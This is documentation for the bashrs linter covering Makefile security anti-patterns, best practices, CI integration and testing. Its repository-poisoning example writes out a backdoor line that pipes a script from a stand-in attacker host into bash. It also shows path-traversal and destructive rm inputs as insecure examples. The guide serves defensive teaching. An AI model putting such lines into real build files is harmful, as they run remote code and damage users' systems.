
# ❌ DANGEROUS: Unrestricted sudo
install:
	sudo cp app /usr/local/bin/
	sudo chmod 4755 /usr/local/bin/app  # Sets SUID bit!

Solution: Use install(1) or warn users about sudo.

# ✅ BETTER: Use install command
install:
	@if [ "$(shell id -u)" != "0" ]; then \
		echo "Error: Must run as root or with sudo"; \
		exit 1; \
	fi
	install -m 755 app /usr/local/bin/app

Detection:

$ rash lint Makefile
MAKE009: Unsafe sudo usage
  --> Makefile:3
   |
 3 |     sudo chmod 4755 /usr/local/bin/app
   |     ^^^^ unrestricted sudo with dangerous permissions
   |
   = warning: SUID bit grants root privileges
   = help: Use install(1) or check permissions explicitly

Real-World Attack Scenarios

Scenario 1: Repository Poisoning

Attack: Malicious Makefile in cloned repository

# Attacker's Makefile
.PHONY: all
all:
	@echo "Building project..."
	@curl -s https://evil.com/steal.sh | bash  # ❌ Backdoor
	gcc -o app main.c

Defense:

 Always review Makefiles before running make
$ rash lint Makefile
MAKE007: Suspicious network access in recipe
  --> Makefile:4
   |
 4 |     @curl -s https://evil.com/steal.sh | bash
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ downloads and executes remote code
   |
   = error: Potential backdoor or data exfiltration
   = help: Review all network operations in build scripts

Scenario 2: Dependency Confusion

Attack: Typosquatting in shell commands

# ❌ Typo allows attacker to substitute malicious binary
build:
	nmp install  # Should be "npm", but PATH includes attacker's "nmp"

Defense:

# ✅ Use absolute paths for critical tools
NPM := /usr/bin/npm

build:
	$(NPM) install

Scenario 3: Path Traversal

Attack: Writing files outside build directory

# ❌ DANGEROUS: Allows path traversal
OUTPUT_DIR := $(PREFIX)/output

install:
	cp build/* $(OUTPUT_DIR)/
	# Attacker: make PREFIX=../../../etc install

Defense:

# ✅ SAFE: Validate PREFIX and use absolute paths
PREFIX ?= /usr/local
OUTPUT_DIR := $(realpath $(PREFIX))/output

install:
	@if [ -z "$(realpath $(PREFIX))" ]; then \
		echo "Error: Invalid PREFIX"; \
		exit 1; \
	fi
	cp build/* "$(OUTPUT_DIR)/"

Security Best Practices

1. Principle of Least Privilege

# ❌ BAD: Runs everything as root
.PHONY: all install
all:
	sudo make build  # Unnecessary root access

install:
	sudo cp app /usr/local/bin/

Better:

# ✅ GOOD: Only elevate when necessary
.PHONY: all install
all:
	make build  # Build as regular user

install:
	@if [ "$(shell id -u)" != "0" ]; then \
		echo "Run: sudo make install"; \
		exit 1; \
	fi
	install -m 755 app /usr/local/bin/

2. Input Validation

# ✅ Validate all user-provided variables
PREFIX ?= /usr/local

install:
	@if [ -z "$(PREFIX)" ] || echo "$(PREFIX)" | grep -q '\.\.' ; then \
		echo "Error: Invalid PREFIX"; \
		exit 1; \
	fi
	install -m 755 app "$(PREFIX)/bin/"

3. Avoid Eval and Shell Expansion

# ❌ DANGEROUS: eval() equivalent
COMMAND := $(shell cat commands.txt)
run:
	$(COMMAND)  # Executes arbitrary commands from file

Safer:

# ✅ Explicit command list
VALID_COMMANDS := build test clean

run:
	@if ! echo "$(VALID_COMMANDS)" | grep -qw "$(CMD)"; then \
		echo "Error: Unknown command $(CMD)"; \
		exit 1; \
	fi
	@$(CMD)

4. Secure File Permissions

# ✅ Use appropriate permissions
install:
	install -m 755 app /usr/local/bin/app          # Executable, not writable
	install -m 644 app.conf /etc/app/app.conf      # Config, not executable
	install -m 600 app.key /etc/app/app.key        # Secret, owner-only

Security Checklist

Before deploying a Makefile:

• ✅ Run rash lint Makefile to detect vulnerabilities
• ✅ Quote all variables used in shell commands
• ✅ Validate user-provided inputs (PREFIX, DESTDIR, etc.)
• ✅ Use absolute paths for critical binaries
• ✅ Avoid running unnecessary commands as root
• ✅ Set minimal file permissions with install(1)
• ✅ Review all network operations (curl, wget, git clone)
• ✅ Check for path traversal vulnerabilities
• ✅ Avoid eval-like constructs
• ✅ Test with malicious inputs (fuzzing)

Automated Security Scanning

 Run security linter
$ rash lint --security-only Makefile

 CI/CD integration
 .github/workflows/security.yml
- name: Security Scan
  run: |
    cargo install bashrs
    rash lint --security-only Makefile
    if [ $? -ne 0 ]; then
      echo "Security vulnerabilities detected!"
      exit 1
    fi

Resources

• Reproducible Builds
• CWE-78: OS Command Injection

Remember: Makefiles execute arbitrary shell commands - treat them like executable code, not configuration files!

Makefile Best Practices

Makefiles are critical build infrastructure, but they're often overlooked in code quality efforts. Shell commands embedded in Makefile recipes can harbor the same security, determinism, and idempotency issues as standalone shell scripts. This chapter covers best practices for writing safe, maintainable Makefiles and how bashrs helps enforce quality standards.

Why Makefiles Need Linting

The Hidden Shell Problem

Every Makefile recipe is shell code. Consider this common pattern:

deploy:
	mkdir $(DEPLOY_DIR)
	rm $(OLD_FILES)
	ln -s $(RELEASE_DIR) $(CURRENT_LINK)

This looks innocent, but contains three critical flaws:

1. Non-idempotent operations: Re-running fails if directory exists
2. Unquoted variables: Shell injection risk if variables contain spaces
3. Non-deterministic behavior: Fails unpredictably in different states

Real-World Impact

Security: Unquoted variables in recipes can lead to command injection:

clean:
	rm -rf $(BUILD_DIR)  # If BUILD_DIR="/ etc", disaster!

Reliability: Non-idempotent operations break CI/CD pipelines:

setup:
	mkdir build  # Fails on second run

Determinism: Timestamp-based commands produce unreproducible builds:

release:
	echo "Built at $(shell date +%s)" > version.txt

bashrs Makefile Support

bashrs v6.32.1 provides comprehensive Makefile analysis:

• Parsing: Full Makefile AST including targets, variables, and recipes
• Linting: Apply all security and determinism rules to shell recipes
• Purification: Transform recipes into safe, idempotent shell code
• Validation: Detect missing .PHONY declarations and anti-patterns

Common Makefile Anti-Patterns

1. Unquoted Shell Variables in Recipes

Problem: Variables without quotes can cause word splitting and injection attacks.

Anti-pattern:

INSTALL_DIR = /opt/myapp
SRC_FILES = $(wildcard src/*.c)

install:
	cp $(SRC_FILES) $(INSTALL_DIR)
	chmod 755 $(INSTALL_DIR)/*

Issue: If INSTALL_DIR contains spaces or special characters, the command breaks or executes unintended operations.

Best Practice:

INSTALL_DIR = /opt/myapp
SRC_FILES = $(wildcard src/*.c)

install:
	cp "$(SRC_FILES)" "$(INSTALL_DIR)"
	chmod 755 "$(INSTALL_DIR)"/*

bashrs Detection:

$ bashrs make lint Makefile

Warning: Unquoted variable expansion in recipe
  --> Makefile:5:6
   |
 5 |     cp $(SRC_FILES) $(INSTALL_DIR)
   |        ^^^^^^^^^^^^ SC2086: Quote to prevent splitting

2. Non-Idempotent Operations

Problem: Operations that fail when run multiple times break build reproducibility.

Anti-pattern:

setup:
	mkdir build
	mkdir dist
	ln -s build/output dist/latest

Issue: Second invocation fails because directories already exist.

Best Practice:

setup:
	mkdir -p build
	mkdir -p dist
	rm -f dist/latest
	ln -s build/output dist/latest

bashrs Detection:

$ bashrs make lint Makefile

Warning: Non-idempotent operation
  --> Makefile:2:2
   |
 2 |     mkdir build
   |     ^^^^^^^^^^^ Use 'mkdir -p' for idempotent directory creation

3. Non-Deterministic Commands

Problem: Commands that produce different output on each run break reproducible builds.

Anti-pattern:

VERSION = $(shell date +%Y%m%d%H%M%S)

release:
	echo "Release ID: $(RANDOM)" > release.txt
	echo "Built: $(shell date)" >> release.txt
	tar czf myapp-$(VERSION).tar.gz dist/

Issue: Every build creates a different artifact, making debugging and rollbacks impossible.

Best Practice:

# Use explicit version from git or environment
VERSION ?= $(shell git describe --tags --always)
BUILD_ID ?= $(shell git rev-parse --short HEAD)

release:
	echo "Release ID: $(BUILD_ID)" > release.txt
	echo "Version: $(VERSION)" >> release.txt
	tar czf myapp-$(VERSION).tar.gz dist/

bashrs Detection:

$ bashrs make lint Makefile

Error: Non-deterministic command
  --> Makefile:4:2
   |
 4 |     echo "Release ID: $(RANDOM)" > release.txt
   |                       ^^^^^^^^^ DET003: Avoid $RANDOM

4. Missing .PHONY Declarations

Problem: Targets without .PHONY can be confused with actual files, causing unexpected behavior.

Anti-pattern:

clean:
	rm -rf build/

test:
	cargo test

deploy:
	./deploy.sh

Issue: If a file named "clean", "test", or "deploy" exists, Make won't run the recipe.

Best Practice:

.PHONY: clean test deploy

clean:
	rm -rf build/

test:
	cargo test

deploy:
	./deploy.sh

bashrs Detection:

$ bashrs make lint Makefile

Warning: Missing .PHONY declaration
  --> Makefile:1:1
   |
 1 | clean:
   | ^^^^^ Target 'clean' should be marked .PHONY

5. Hardcoded Paths

Problem: Hardcoded paths reduce portability and flexibility.

Anti-pattern:

install:
	cp binary /usr/local/bin/myapp
	cp config.toml /etc/myapp/config.toml
	chmod 755 /usr/local/bin/myapp

Issue: Assumes specific system layout, breaks on different systems.

Best Practice:

PREFIX ?= /usr/local
SYSCONFDIR ?= /etc
BINDIR = $(PREFIX)/bin
CONFDIR = $(SYSCONFDIR)/myapp

install:
	install -D -m 755 binary "$(BINDIR)/myapp"
	install -D -m 644 config.toml "$(CONFDIR)/config.toml"

6. Unsafe Command Chaining

Problem: Using && without proper error handling can hide failures.

Anti-pattern:

deploy:
	cd /var/www && rm -rf * && cp -r dist/* .

Issue: If cd fails, subsequent commands execute in the wrong directory (potentially catastrophic with rm -rf *).

Best Practice:

DEPLOY_DIR = /var/www/myapp

deploy:
	test -d "$(DEPLOY_DIR)" || exit 1
	rm -rf "$(DEPLOY_DIR)"/*
	cp -r dist/* "$(DEPLOY_DIR)"/

Best Practices with bashrs

1. Quote All Variables in Shell Recipes

Rule: Always quote Make variables when used in shell commands.

Before:

SRC_DIR = src
BUILD_DIR = build

compile:
	gcc $(SRC_DIR)/*.c -o $(BUILD_DIR)/program

After:

SRC_DIR = src
BUILD_DIR = build

compile:
	gcc "$(SRC_DIR)"/*.c -o "$(BUILD_DIR)/program"

bashrs Verification:

$ bashrs make purify Makefile
✓ All variables properly quoted
✓ No shell injection vulnerabilities

2. Use Idempotent Operations

Rule: All recipes should be safe to run multiple times.

Before:

setup:
	mkdir build
	mkdir dist
	ln -s ../build dist/build

After:

.PHONY: setup

setup:
	mkdir -p build
	mkdir -p dist
	ln -sf ../build dist/build

Key Idempotent Patterns:

• mkdir -p instead of mkdir
• rm -f instead of rm
• ln -sf instead of ln -s
• install -D for creating parent directories

3. Avoid Non-Deterministic Commands

Rule: Builds should be reproducible - same input = same output.

Prohibited Patterns:

# DON'T: Non-deterministic ID generation
release:
	echo $(RANDOM) > release-id.txt

# DON'T: Timestamp-based versioning
VERSION = $(shell date +%s)

# DON'T: Process ID usage
lockfile:
	echo $$ > app.pid

Approved Patterns:

# DO: Use git for versioning
VERSION = $(shell git describe --tags --always)

# DO: Use explicit version numbers
RELEASE_VERSION = 1.0.0

# DO: Use deterministic hashing
BUILD_HASH = $(shell git rev-parse --short HEAD)

4. Declare .PHONY Targets

Rule: All non-file targets must be marked .PHONY.

Complete Example:

.PHONY: all clean build test install deploy help

all: build test

clean:
	rm -rf build/ dist/

build:
	cargo build --release

test:
	cargo test

install: build
	install -D -m 755 target/release/myapp "$(BINDIR)/myapp"

deploy: build test
	./scripts/deploy.sh

help:
	@echo "Available targets:"
	@echo "  all     - Build and test"
	@echo "  clean   - Remove build artifacts"
	@echo "  test    - Run test suite"
	@echo "  install - Install to system"
	@echo "  deploy  - Deploy to production"

5. Use bashrs make lint in Development

Integrate into Workflow:

.PHONY: lint lint-make lint-scripts

lint: lint-make lint-scripts

lint-make:
	bashrs make lint Makefile

lint-scripts:
	bashrs lint scripts/*.sh

Pre-commit Hook (.git/hooks/pre-commit):

!/bin/sh
set -e

echo "Linting Makefile..."
bashrs make lint Makefile

echo "Linting shell scripts..."
find . -name "*.sh" -exec bashrs lint {} \;

6. Handle Errors Properly

Rule: Use .ONESHELL and proper error handling for multi-line recipes.

Before:

deploy:
	cd /var/www
	rm -rf old/
	cp -r dist/ .

After:

.ONESHELL:
.SHELLFLAGS = -euo pipefail -c

DEPLOY_DIR = /var/www/myapp

deploy:
	cd "$(DEPLOY_DIR)" || exit 1
	rm -rf old/
	cp -r dist/ .

Key Flags:

• -e: Exit on error
• -u: Error on undefined variables
• -o pipefail: Catch errors in pipelines

Examples: Problematic vs Clean Makefiles

Example 1: Build System

Problematic:

# Bad Makefile - DO NOT USE

SRC_DIR=src
BUILD_DIR=build
VERSION=$(shell date +%Y%m%d)

build:
	mkdir $(BUILD_DIR)
	gcc $(SRC_DIR)/*.c -o $(BUILD_DIR)/program
	echo "Built at: $(shell date)" > $(BUILD_DIR)/build-info.txt

clean:
	rm -r $(BUILD_DIR)

install:
	cp $(BUILD_DIR)/program /usr/local/bin

Issues Found by bashrs:

$ bashrs make lint Makefile

Error: Non-deterministic command (DET001)
  --> Makefile:3:9
   |
 3 | VERSION=$(shell date +%Y%m%d)
   |         ^^^^^^^^^^^^^^^^^^^^^^

Error: Non-idempotent operation (IDEM001)
  --> Makefile:6:2
   |
 6 |     mkdir $(BUILD_DIR)
   |     ^^^^^^^^^^^^^^^^^^ Use 'mkdir -p'

Warning: Unquoted variable (SC2086)
  --> Makefile:7:6
   |
 7 |     gcc $(SRC_DIR)/*.c -o $(BUILD_DIR)/program
   |         ^^^^^^^^^

Error: Non-deterministic command (DET002)
  --> Makefile:8:18
   |
 8 |     echo "Built at: $(shell date)" > $(BUILD_DIR)/build-info.txt
   |                     ^^^^^^^^^^^^^

Error: Missing .PHONY declarations
  --> Makefile:1:1
   | Targets should be .PHONY: build, clean, install

5 errors, 1 warning

Clean Version:

# Clean Makefile - Best Practices Applied

.PHONY: all build clean install

# Use git for deterministic versioning
VERSION := $(shell git describe --tags --always --dirty)
BUILD_HASH := $(shell git rev-parse --short HEAD)

# Configurable directories
SRC_DIR := src
BUILD_DIR := build
INSTALL_PREFIX ?= /usr/local
BINDIR := $(INSTALL_PREFIX)/bin

all: build

build:
	mkdir -p "$(BUILD_DIR)"
	gcc "$(SRC_DIR)"/*.c -o "$(BUILD_DIR)/program"
	echo "Version: $(VERSION)" > "$(BUILD_DIR)/build-info.txt"
	echo "Commit: $(BUILD_HASH)" >> "$(BUILD_DIR)/build-info.txt"

clean:
	rm -rf "$(BUILD_DIR)"

install: build
	install -D -m 755 "$(BUILD_DIR)/program" "$(BINDIR)/program"

Verification:

$ bashrs make lint Makefile
✓ No issues found
✓ All variables quoted
✓ All operations idempotent
✓ All targets use .PHONY
✓ Deterministic build

Example 2: Deployment Pipeline

Problematic:

# Bad deployment Makefile

SERVER=prod-01
DEPLOY_PATH=/var/www/app
SESSION_ID=$(RANDOM)

deploy:
	ssh $(SERVER) "mkdir $(DEPLOY_PATH)/releases/$(SESSION_ID)"
	scp -r dist/* $(SERVER):$(DEPLOY_PATH)/releases/$(SESSION_ID)/
	ssh $(SERVER) "rm $(DEPLOY_PATH)/current"
	ssh $(SERVER) "ln -s $(DEPLOY_PATH)/releases/$(SESSION_ID) $(DEPLOY_PATH)/current"
	ssh $(SERVER) "systemctl restart myapp"

rollback:
	ssh $(SERVER) "rm $(DEPLOY_PATH)/current"
	ssh $(SERVER) "ln -s $(DEPLOY_PATH)/releases/previous $(DEPLOY_PATH)/current"
	ssh $(SERVER) "systemctl restart myapp"

Issues:

• Non-deterministic $(RANDOM) for session IDs
• Unquoted variables everywhere
• Non-idempotent operations (mkdir, rm, ln)
• No error handling
• Missing .PHONY declarations

Clean Version:

# Clean deployment Makefile

.PHONY: deploy rollback status

# Configuration
SERVER := prod-01
DEPLOY_PATH := /var/www/app
RELEASE_DIR := $(DEPLOY_PATH)/releases

# Use git commit hash for deterministic release IDs
RELEASE_ID := $(shell git rev-parse --short HEAD)
RELEASE_PATH := $(RELEASE_DIR)/$(RELEASE_ID)

# Error handling
.ONESHELL:
.SHELLFLAGS := -euo pipefail -c

deploy:
	@echo "Deploying release $(RELEASE_ID) to $(SERVER)..."
	ssh "$(SERVER)" 'mkdir -p "$(RELEASE_PATH)"'
	rsync -avz --delete dist/ "$(SERVER):$(RELEASE_PATH)/"
	ssh "$(SERVER)" 'ln -sfn "$(RELEASE_PATH)" "$(DEPLOY_PATH)/current"'
	ssh "$(SERVER)" 'systemctl reload myapp'
	@echo "Deployment complete: $(RELEASE_ID)"

rollback:
	@echo "Rolling back on $(SERVER)..."
	$(eval PREVIOUS := $(shell ssh "$(SERVER)" 'readlink "$(DEPLOY_PATH)/previous"'))
	@test -n "$(PREVIOUS)" || (echo "No previous release found" && exit 1)
	ssh "$(SERVER)" 'ln -sfn "$(PREVIOUS)" "$(DEPLOY_PATH)/current"'
	ssh "$(SERVER)" 'systemctl reload myapp'
	@echo "Rolled back to: $(PREVIOUS)"

status:
	@echo "Current deployment status:"
	@ssh "$(SERVER)" 'readlink "$(DEPLOY_PATH)/current"'

Key Improvements:

• Deterministic release IDs from git
• All variables properly quoted
• Idempotent operations (mkdir -p, ln -sfn)
• Error handling with .ONESHELL and -euo pipefail
• .PHONY declarations
• Informative output

Integration with CI/CD

GitHub Actions Example

name: CI

on: [push, pull_request]

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install bashrs
        run: cargo install bashrs --version 6.32.1

      - name: Lint Makefile
        run: bashrs make lint Makefile

      - name: Lint shell scripts
        run: |
          find . -name "*.sh" -print0 | \
            xargs -0 -I {} bashrs lint {}

      - name: Verify idempotency
        run: |
          make clean
          make build
          make build  # Should succeed on second run

  build:
    needs: lint
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build
        run: make build

GitLab CI Example

stages:
  - lint
  - build
  - test

lint:makefile:
  stage: lint
  image: rust:latest
  before_script:
    - cargo install bashrs --version 6.32.1
  script:
    - bashrs make lint Makefile
    - make lint-scripts

lint:idempotency:
  stage: lint
  script:
    - make clean
    - make setup
    - make setup  # Verify idempotency

build:
  stage: build
  needs: ["lint:makefile", "lint:idempotency"]
  script:
    - make build

Pre-commit Configuration

.pre-commit-config.yaml:

repos:
  - repo: local
    hooks:
      - id: bashrs-makefile
        name: bashrs Makefile linting
        entry: bashrs make lint
        language: system
        files: '^Makefile$|\.mk$'

      - id: bashrs-scripts
        name: bashrs shell script linting
        entry: bashrs lint
        language: system
        files: '\.sh$'

Testing Makefiles

1. Dry-Run Testing

Verify targets without executing:

 Check what would be executed
make -n build

 Verify variable expansion
make -n deploy | grep "Release ID"

In Makefile:

.PHONY: test-dry-run

test-dry-run:
	@echo "Testing dry-run for all targets..."
	@make -n build > /dev/null && echo "✓ build dry-run OK"
	@make -n test > /dev/null && echo "✓ test dry-run OK"
	@make -n deploy > /dev/null && echo "✓ deploy dry-run OK"

2. Idempotency Testing

Ensure targets can run multiple times safely:

.PHONY: test-idempotency

test-idempotency:
	@echo "Testing idempotency..."
	@make clean
	@make setup && echo "✓ First setup OK"
	@make setup && echo "✓ Second setup OK (idempotent)"
	@make build && echo "✓ First build OK"
	@make build && echo "✓ Second build OK (idempotent)"

Automated Test Script (test-makefile.sh):

!/bin/bash
set -euo pipefail

echo "Testing Makefile idempotency..."

 Test each target twice
for target in setup build test; do
    echo "Testing target: $target"

    make clean
    make "$target" || exit 1
    echo "  ✓ First run succeeded"

    make "$target" || exit 1
    echo "  ✓ Second run succeeded (idempotent)"
done

echo "All idempotency tests passed!"

3. Determinism Testing

Verify reproducible builds:

!/bin/bash
set -euo pipefail

echo "Testing build determinism..."

 Build twice and compare
make clean
make build
HASH1=$(find build -type f -exec sha256sum {} \; | sort | sha256sum)

make clean
make build
HASH2=$(find build -type f -exec sha256sum {} \; | sort | sha256sum)

if [ "$HASH1" = "$HASH2" ]; then
    echo "✓ Build is deterministic"
else
    echo "✗ Build is non-deterministic"
    exit 1
fi

4. shellcheck Integration

Verify generated shell commands:

.PHONY: test-shellcheck

test-shellcheck:
	@echo "Extracting and checking shell recipes..."
	@bashrs make purify Makefile --output /tmp/purified.sh
	@shellcheck /tmp/purified.sh && echo "✓ All recipes pass shellcheck"

Troubleshooting

Issue: "Target not marked .PHONY"

Symptom:

$ bashrs make lint Makefile
Warning: Target 'clean' should be marked .PHONY

Solution:

.PHONY: clean build test

clean:
	rm -rf build/

Why: Without .PHONY, if a file named "clean" exists, Make won't run the recipe.

Issue: "Unquoted variable expansion"

Symptom:

$ bashrs make lint Makefile
Warning: Unquoted variable expansion (SC2086)
  --> Makefile:5:6

Solution:

# Before
install:
	cp $(FILES) $(DEST)

# After
install:
	cp "$(FILES)" "$(DEST)"

Why: Prevents word splitting and glob expansion vulnerabilities.

Issue: "Non-idempotent operation"

Symptom:

$ bashrs make lint Makefile
Error: Non-idempotent operation (IDEM001)
  --> Makefile:3:2
   |
 3 |     mkdir build

Solution:

# Before
setup:
	mkdir build

# After
setup:
	mkdir -p build

Why: mkdir -p succeeds even if directory exists.

Issue: "Non-deterministic command"

Symptom:

$ bashrs make lint Makefile
Error: Non-deterministic command (DET003)
  --> Makefile:6:2
   |
 6 |     echo "Build: $(RANDOM)" > version.txt

Solution:

# Before
VERSION = $(shell date +%s)

release:
	echo "Build: $(RANDOM)" > version.txt

# After
VERSION = $(shell git describe --tags --always)
BUILD_HASH = $(shell git rev-parse --short HEAD)

release:
	echo "Version: $(VERSION)" > version.txt
	echo "Commit: $(BUILD_HASH)" >> version.txt

Why: Use git for deterministic, traceable versioning.

Issue: Make variable vs. Shell variable confusion

Symptom:

deploy:
	for file in *.txt; do
		echo "Processing $$file"  # Why $$?
	done

Explanation:

• Make variable: $(VAR) or ${VAR} - expanded by Make
• Shell variable: $$VAR - $$ escapes to single $ in shell

Correct Usage:

# Make variable (expanded by Make before shell sees it)
FILES = $(wildcard *.txt)

deploy:
	echo "Files: $(FILES)"  # Make expansion

	# Shell variable (expanded by shell)
	for file in *.txt; do
		echo "Processing $$file"  # Shell expansion ($$→$)
	done

Issue: Recipe failing silently

Symptom: Multi-line recipe stops executing after error, but Make reports success.

Solution: Use .ONESHELL and proper error flags:

.ONESHELL:
.SHELLFLAGS = -euo pipefail -c

deploy:
	cd /var/www
	rm -rf old/
	cp -r dist/ .
	# If any command fails, recipe stops with error

Flags:

• -e: Exit immediately on error
• -u: Error on undefined variables
• -o pipefail: Pipeline fails if any command fails

Summary Checklist

Before committing Makefiles, verify:

• All non-file targets marked .PHONY
• All shell variables quoted in recipes
• All operations idempotent (use -p, -f, -n flags)
• No non-deterministic commands ($RANDOM, date, $$)
• Paths configurable with variables (not hardcoded)
• Error handling with .ONESHELL and proper flags
• Runs bashrs make lint Makefile without errors
• Tested for idempotency (runs twice successfully)
• Integrated into CI/CD linting pipeline

Additional Resources

• bashrs Makefile Documentation: See bashrs make --help
• GNU Make Manual: https://www.gnu.org/software/make/manual/
• ShellCheck Wiki: https://www.shellcheck.net/wiki/
• Reproducible Builds: https://reproducible-builds.org/
• POSIX Make: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/make.html

Conclusion

Makefiles are executable infrastructure code and deserve the same quality standards as application code. By applying these best practices and leveraging bashrs for automated validation, you can create Makefiles that are:

• Safe: No injection vulnerabilities
• Reliable: Idempotent operations that always work
• Reproducible: Deterministic builds for debugging and compliance
• Maintainable: Clear, documented, and testable

Run bashrs make lint on every Makefile change, integrate it into your CI/CD pipeline, and enforce these standards through pre-commit hooks. Your future self (and your teammates) will thank you.

Makefile Testing

Bashrs provides comprehensive test generation for purified Makefiles, ensuring your build scripts are deterministic, idempotent, and POSIX-compliant.

Overview

When purifying Makefiles with the --with-tests flag, bashrs automatically generates a complete test suite that validates:

• Determinism: Same input produces same output every time
• Idempotency: Safe to run multiple times without errors
• POSIX Compliance: Works with POSIX make implementations

Basic Usage

Generate Tests with Purification

 Purify Makefile and generate test suite
bashrs make purify Makefile --with-tests -o Makefile.purified

 This creates two files:
 - Makefile.purified         # Purified Makefile
 - Makefile.purified.test.sh # Test suite